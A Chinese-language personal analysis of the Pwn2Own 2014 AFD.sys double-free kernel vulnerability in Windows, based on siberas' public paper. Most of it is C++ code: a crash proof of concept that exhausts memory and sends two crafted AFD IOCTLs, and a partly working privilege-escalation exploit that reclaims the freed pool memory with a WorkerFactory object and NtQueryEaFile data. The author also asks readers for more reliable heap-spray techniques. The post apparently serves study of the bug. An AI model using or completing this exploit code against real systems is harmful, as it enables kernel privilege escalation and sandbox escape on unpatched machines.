这个内核漏洞在Pwn2Own 2014上用来提权绕过IE沙箱(保护模式),siberas公司后来公布了漏洞的细节及利用方法,通过其公开的文档已经能够准确定位漏洞成因及利用方法。(http://www.siberas.de/papers/Pwn2Own_2014_AFD.sys_privilege_escalation.pdf)
第一次分析double free类型的漏洞,并且想通过此漏洞进一步了解学习内核漏洞的利用技术。但分析到占位时,出现了WorkerFactory Object及controlled data占位不稳定的问题,在我的调试过程中,WorkerFactory Object和controlled data都有占不到位的情况发生,只有少数情况下两者都能成功占位。调试了许久依旧还没能解决,所以打算先放一放,有思路和时间了再进一步调试。
目前的改进思路是:
1.针对WorkerFactory Object占位,进行多次循环创建,在循环中进行创建(NtCreateWorkerFactory)、判断、删除(NtReleaseWorkerFactoryWorker)操作,当判断占位成功时跳出循环。
2.针对controlled data占位,采用多线程调用NtQueryEaFile进行占位(因为NtQueryEaFile会在函数末尾释放非分页内存,导致单线程循环调用时申请到同一片内存,从而无法成功占位)
3.怎么想前两种方法都有些繁琐,而且不一定能够实现。我想一定有更高级、稳定的占位方法的吧。。。 (希望有思路的朋友给我一点儿提示 :-) )
下面是crash的POC代码
1 #pragma comment(lib, "ws2_32.lib") 2 3 #include <WinSock2.h> 4 #include <windows.h> 5 #include <Winternl.h> 6 #include <Wingdi.h> 7 #include <iostream> 8 using namespace std; 9 10 typedef NTSTATUS (WINAPI *_NtDeviceIoControlFile)( 11 _In_ HANDLE FileHandle, 12 _In_ HANDLE Event, 13 _In_ PIO_APC_ROUTINE ApcRoutine, 14 _In_ PVOID ApcContext, 15 _Out_ PIO_STATUS_BLOCK IoStatusBlock, 16 _In_ ULONG IoControlCode, 17 _In_ PVOID InputBuffer, 18 _In_ ULONG InputBufferLength, 19 _Out_ PVOID OutputBuffer, 20 _In_ ULONG OutputBufferLength 21 ); 22 23 int main() 24 { 25 HMODULE hNtDll = LoadLibrary("ntdll.dll"); 26 _NtDeviceIoControlFile pNtDeviceIoControlFile = (_NtDeviceIoControlFile)GetProcAddress(hNtDll, "NtDeviceIoControlFile"); 27 if (pNtDeviceIoControlFile == NULL) 28 { 29 FreeLibrary(hNtDll); 30 cout<<"Get NtDeviceIoControlFile Address failed!"<<endl; 31 return -1; 32 } 33 FreeLibrary(hNtDll); 34 35 36 WSAData wasData; 37 WSAStartup(WINSOCK_VERSION, &wasData); 38 39 SOCKET LocalSock; 40 LocalSock = socket(AF_INET, SOCK_STREAM, 0); 41 if(LocalSock == INVALID_SOCKET) 42 { 43 cout<<"[-] no luck creating socket!"<<endl; 44 WSACleanup(); 45 return -1; 46 } 47 48 cout<<"[+] got sock 0x%x"<<endl; 49 50 struct sockaddr_in to; 51 memset(&to, 0, sizeof(to)); 52 to.sin_addr.s_addr = inet_addr("127.0.0.1"); 53 to.sin_family = AF_INET; 54 to.sin_port = htons(135); 55 56 if(connect(LocalSock, (struct sockaddr *)&to, sizeof(to)) == SOCKET_ERROR) 57 { 58 cout<<"[-] connect failed!"<<endl; 59 WSACleanup(); 60 return -1; 61 } 62 63 cout<<"[+] sock connected."<<endl; 64 65 66 /* Prepare buffer */ 67 unsigned int targetsize = 0x100; 68 unsigned int virtaddress = 0x13371337; 69 unsigned int mdlsize = (pow(2, 0x0c) * (targetsize - 0x30) / 8) - 0xfff - (virtaddress & 0xfff); 70 71 IO_STATUS_BLOCK StatuBlock ; 72 unsigned char inbuf1[48] = {0}; // inbuf1 = I(0)*6 + I(virtaddress) + I(mdlsize) + I(0)*2 + I(1) + I(0) 73 unsigned char inbuf2[24] = {0}; // inbuf2 = I(1) + I(0xaaaaaaa) + I(0)*4 74 PULONG point; 75 76 point = (PULONG)inbuf1; 77 point = point + 6; 78 *point++ = virtaddress; 79 *point++ = mdlsize; 80 point = point + 2; 81 *point = 1; 82 83 point = (PULONG)inbuf2; 84 *point++ = 1; 85 *point = 0xaaaaaaa; 86 87 /* Exhaust the system‘s physical memory. */ 88 int nBottomRect = 0x2aaaaaa ; 89 HRGN hrgn; 90 while (true) 91 { 92 hrgn = CreateRoundRectRgn(0, 0, 1, nBottomRect, 1, 1); 93 if (hrgn == 0) 94 { 95 break; 96 } 97 } 98 99 100 pNtDeviceIoControlFile((HANDLE)LocalSock, NULL, NULL, NULL, &StatuBlock, 0x1207f, &inbuf1, 0x30, NULL, 0x0); 101 pNtDeviceIoControlFile((HANDLE)LocalSock, NULL, NULL, NULL, &StatuBlock, 0x120c3, &inbuf2, 0x18, NULL, 0x0); 102 103 104 return 0; 105 }
下面是我调试到一半的利用代码
1 #pragma comment(lib, "ws2_32.lib") 2 3 #include <WinSock2.h> 4 #include <windows.h> 5 #include <Winternl.h> 6 #include <Wingdi.h> 7 #include <iostream> 8 9 using namespace std; 10 11 typedef NTSTATUS (WINAPI *_NtDeviceIoControlFile)( 12 _In_ HANDLE FileHandle, 13 _In_ HANDLE Event, 14 _In_ PIO_APC_ROUTINE ApcRoutine, 15 _In_ PVOID ApcContext, 16 _Out_ PIO_STATUS_BLOCK IoStatusBlock, 17 _In_ ULONG IoControlCode, 18 _In_ PVOID InputBuffer, 19 _In_ ULONG InputBufferLength, 20 _Out_ PVOID OutputBuffer, 21 _In_ ULONG OutputBufferLength 22 ); 23 24 #define WORKER_FACTORY_RELEASE_WORKER 0x0001 25 #define WORKER_FACTORY_WAIT 0x0002 26 #define WORKER_FACTORY_SET_INFORMATION 0x0004 27 #define WORKER_FACTORY_QUERY_INFORMATION 0x0008 28 #define WORKER_FACTORY_READY_WORKER 0x0010 29 #define WORKER_FACTORY_SHUTDOWN 0x0020 30 #define WORKER_FACTORY_ALL_ACCESS ( 31 STANDARD_RIGHTS_REQUIRED | 32 WORKER_FACTORY_RELEASE_WORKER | 33 WORKER_FACTORY_WAIT | 34 WORKER_FACTORY_SET_INFORMATION | 35 WORKER_FACTORY_QUERY_INFORMATION | 36 WORKER_FACTORY_READY_WORKER | 37 WORKER_FACTORY_SHUTDOWN 38 ) 39 40 typedef enum _WORKERFACTORYINFOCLASS 41 { 42 WorkerFactoryTimeout, 43 WorkerFactoryRetryTimeout, 44 WorkerFactoryIdleTimeout, 45 WorkerFactoryBindingCount, 46 WorkerFactoryThreadMinimum, 47 WorkerFactoryThreadMaximum, 48 WorkerFactoryPaused, 49 WorkerFactoryBasicInformation, // name:wow64:whNtQueryInformationWorkerFactory_WorkerFactoryBasicInformation 50 WorkerFactoryAdjustThreadGoal, 51 WorkerFactoryCallbackType, 52 WorkerFactoryStackInformation, // name:wow64:whNtQueryInformationWorkerFactory_WorkerFactoryStackInformation 53 MaxWorkerFactoryInfoClass 54 } WORKERFACTORYINFOCLASS, *PWORKERFACTORYINFOCLASS; 55 56 typedef struct _WORKER_FACTORY_BASIC_INFORMATION 57 { 58 LARGE_INTEGER Timeout; 59 LARGE_INTEGER RetryTimeout; 60 LARGE_INTEGER IdleTimeout; 61 BOOLEAN Paused; 62 BOOLEAN TimerSet; 63 BOOLEAN QueuedToExWorker; 64 BOOLEAN MayCreate; 65 BOOLEAN CreateInProgress; 66 BOOLEAN InsertedIntoQueue; 67 BOOLEAN Shutdown; 68 ULONG BindingCount; 69 ULONG ThreadMinimum; 70 ULONG ThreadMaximum; 71 ULONG PendingWorkerCount; 72 ULONG WaitingWorkerCount; 73 ULONG TotalWorkerCount; 74 ULONG ReleaseCount; 75 LONGLONG InfiniteWaitGoal; 76 PVOID StartRoutine; 77 PVOID StartParameter; 78 HANDLE ProcessId; 79 SIZE_T StackReserve; 80 SIZE_T StackCommit; 81 NTSTATUS LastThreadCreationStatus; 82 } WORKER_FACTORY_BASIC_INFORMATION, *PWORKER_FACTORY_BASIC_INFORMATION; 83 84 typedef NTSTATUS (WINAPI *_NtCreateWorkerFactory)( 85 __out PHANDLE WorkerFactoryHandleReturn, 86 __in ACCESS_MASK DesiredAccess, 87 __in_opt POBJECT_ATTRIBUTES ObjectAttributes, 88 __in HANDLE CompletionPortHandle, 89 __in HANDLE WorkerProcessHandle, 90 __in PVOID StartRoutine, 91 __in_opt PVOID StartParameter, 92 __in_opt ULONG MaxThreadCount, 93 __in_opt ULONG StackReserve, 94 __in_opt ULONG StackCommit 95 ); 96 97 typedef NTSTATUS (WINAPI *_NtQueryInformationWorkerFactory)( 98 __in HANDLE WorkerFactoryHandle, 99 __in WORKERFACTORYINFOCLASS WorkerFactoryInformationClass, 100 __out_bcount(WorkerFactoryInformationLength) PVOID WorkerFactoryInformation, 101 __in ULONG WorkerFactoryInformationLength, 102 __out_opt PULONG ReturnLength 103 ); 104 105 typedef NTSTATUS (WINAPI *_NtSetInformationWorkerFactory)( 106 __in HANDLE WorkerFactoryHandle, 107 __in WORKERFACTORYINFOCLASS WorkerFactoryInformationClass, 108 __in_bcount(WorkerFactoryInformationLength) PVOID WorkerFactoryInformation, 109 __in ULONG WorkerFactoryInformationLength 110 ); 111 112 typedef NTSTATUS (WINAPI *_NtReleaseWorkerFactoryWorker)( 113 __in HANDLE WorkerFactoryHandle 114 ); 115 116 typedef NTSTATUS (WINAPI *_NtQueryEaFile)( 117 _In_ HANDLE FileHandle, 118 _Out_ PIO_STATUS_BLOCK IoStatusBlock, 119 _Out_ PVOID Buffer, 120 _In_ ULONG Length, 121 _In_ BOOLEAN ReturnSingleEntry, 122 _In_opt_ PVOID EaList, 123 _In_ ULONG EaListLength, 124 _In_opt_ PULONG EaIndex, 125 _In_ BOOLEAN RestartScan 126 ); 127 128 typedef struct _FILE_FULL_EA_INFORMATION { 129 ULONG NextEntryOffset; 130 UCHAR Flags; 131 UCHAR EaNameLength; 132 USHORT EaValueLength; 133 CHAR EaName[1]; 134 } FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION; 135 136 137 138 139 void TppWorkerThread() 140 { 141 int i; 142 for (i = 0; i <100; i++) 143 { 144 ; 145 } 146 return ; 147 } 148 149 int main() 150 { 151 HMODULE hNtDll = LoadLibrary("ntdll.dll"); 152 153 _NtDeviceIoControlFile pNtDeviceIoControlFile = (_NtDeviceIoControlFile)GetProcAddress(hNtDll, "NtDeviceIoControlFile"); 154 if (pNtDeviceIoControlFile == NULL) 155 { 156 FreeLibrary(hNtDll); 157 cout<<"Get NtDeviceIoControlFile Address failed!"<<endl; 158 return -1; 159 } 160 161 _NtCreateWorkerFactory pNtCreateWorkerFactory = (_NtCreateWorkerFactory)GetProcAddress(hNtDll, "NtCreateWorkerFactory"); 162 if (pNtCreateWorkerFactory == NULL) 163 { 164 FreeLibrary(hNtDll); 165 cout<<"Get NtCreateWorkerFactory Address failed!"<<endl; 166 return -1; 167 } 168 169 _NtQueryEaFile pNtQueryEaFile = (_NtQueryEaFile)GetProcAddress(hNtDll, "NtQueryEaFile"); 170 if (pNtQueryEaFile == NULL) 171 { 172 FreeLibrary(hNtDll); 173 cout<<"Get NtQueryEaFile Address failed!"<<endl; 174 return -1; 175 } 176 177 _NtQueryInformationWorkerFactory pNtQueryInformationWorkerFactory = (_NtQueryInformationWorkerFactory)GetProcAddress(hNtDll, "NtQueryInformationWorkerFactory"); 178 if (pNtQueryInformationWorkerFactory == NULL) 179 { 180 FreeLibrary(hNtDll); 181 cout<<"Get NtQueryInformationWorkerFactory Address failed!"<<endl; 182 return -1; 183 } 184 185 FreeLibrary(hNtDll); 186 187 188 WSAData wasData; 189 WSAStartup(WINSOCK_VERSION, &wasData); 190 191 SOCKET LocalSock; 192 LocalSock = socket(AF_INET, SOCK_STREAM, 0); 193 if(LocalSock == INVALID_SOCKET) 194 { 195 cout<<"[-] no luck creating socket!"<<endl; 196 WSACleanup(); 197 return -1; 198 } 199 200 cout<<"[+] got sock 0x%x"<<endl; 201 202 struct sockaddr_in to; 203 memset(&to, 0, sizeof(to)); 204 to.sin_addr.s_addr = inet_addr("127.0.0.1"); 205 to.sin_family = AF_INET; 206 to.sin_port = htons(135); 207 208 if(connect(LocalSock, (struct sockaddr *)&to, sizeof(to)) == SOCKET_ERROR) 209 { 210 cout<<"[-] connect failed!"<<endl; 211 WSACleanup(); 212 return -1; 213 } 214 215 cout<<"[+] sock connected."<<endl; 216 217 218 219 IO_STATUS_BLOCK StatuBlock ; 220 NTSTATUS Ret; 221 PULONG point; 222 223 /* Prepare DeviceIoControl buffer */ 224 unsigned int targetsize = 0x100; 225 unsigned int virtaddress = 0x13371337; 226 unsigned int mdlsize = (pow(2, 0x0c) * (targetsize - 0x30) / 8) - 0xfff - (virtaddress & 0xfff); 227 unsigned char inbuf1[48] = {0}; // inbuf1 = I(0)*6 + I(virtaddress) + I(mdlsize) + I(0)*2 + I(1) + I(0) 228 unsigned char inbuf2[24] = {0}; // inbuf2 = I(1) + I(0xaaaaaaa) + I(0)*4 229 230 point = (PULONG)inbuf1; 231 point = point + 6; 232 *point++ = virtaddress; 233 *point++ = mdlsize; 234 point = point + 2; 235 *point = 1; 236 237 point = (PULONG)inbuf2; 238 *point++ = 1; 239 *point = 0xaaaaaaa; 240 241 242 /* Prepare the arguments of NtCreateWorkerFactory */ 243 HANDLE WorkerFactoryHandle; 244 HANDLE CompletionPort ; 245 CompletionPort = CreateIoCompletionPort(INVALID_HANDLE_VALUE, 0, 0, 0); 246 HANDLE WorkerHandle ; 247 WorkerHandle = GetCurrentProcess(); 248 249 250 /* Prepare the arguments of NtQueryEaFile */ 251 FILE_FULL_EA_INFORMATION FFEI_Buffer ; 252 unsigned char EaListInputBuffer[0x100]={0}; 253 254 point = (PULONG)EaListInputBuffer; // 0x0xfffffa8000000300 - 0x2e0 = 0x0xfffffa8000000020 255 point = point + 0x30 / 4; 256 *point++ = 0x00000020; 257 *point = 0xfffffa80; 258 259 /* Prepare the arguments of NtQueryInformationWorkerFactory */ 260 WORKER_FACTORY_BASIC_INFORMATION basicInfo; 261 262 /* Exhaust the system‘s physical memory. */ 263 int nBottomRect = 0x2aaaaaa ; 264 HRGN hrgn; 265 while (true) 266 { 267 hrgn = CreateRoundRectRgn(0, 0, 1, nBottomRect, 1, 1); 268 if (hrgn == 0) 269 { 270 break; 271 } 272 } 273 274 275 276 //AfdTransmitFile(+0x243 AfdTliGetTpInfo -> ExAllocateFromNPagedLookasideList -> AfdAllocateTpInfo -> ExAllocatePoolWithTagPriority) 277 pNtDeviceIoControlFile((HANDLE)LocalSock, NULL, NULL, NULL, &StatuBlock, 0x1207f, &inbuf1, 0x30, NULL, 0x0); 278 279 280 /* Prepare Worker Factory Object for READ/WRITE-PRIMITIVES */ 281 //for (int i = 0; i < 50; i++) 282 pNtCreateWorkerFactory(&WorkerFactoryHandle, WORKER_FACTORY_ALL_ACCESS, NULL, CompletionPort, WorkerHandle, TppWorkerThread, NULL, NULL, NULL, NULL); 283 284 285 //AfdTransmitPackets 286 pNtDeviceIoControlFile((HANDLE)LocalSock, NULL, NULL, NULL, &StatuBlock, 0x120c3, &inbuf2, 0x18, NULL, 0x0); 287 288 289 /* Replace the freed object data with controlled data */ 290 //pNtQueryEaFile((HANDLE)LocalSock, &StatuBlock, &FFEI_Buffer, sizeof(FFEI_Buffer), TRUE, InputBuffer, 0x100, NULL, FALSE); 291 pNtQueryEaFile(NULL, &StatuBlock, NULL, NULL, TRUE, EaListInputBuffer, 0x100, NULL, FALSE); 292 293 pNtQueryInformationWorkerFactory(WorkerFactoryHandle, WorkerFactoryBasicInformation, &basicInfo, sizeof(WORKER_FACTORY_BASIC_INFORMATION), NULL); 294 295 closesocket(LocalSock); 296 WSACleanup(); 297 298 return 0; 299 }
Pwn2Own 2014 - AFD.sys Dangling Pointer Vulnerability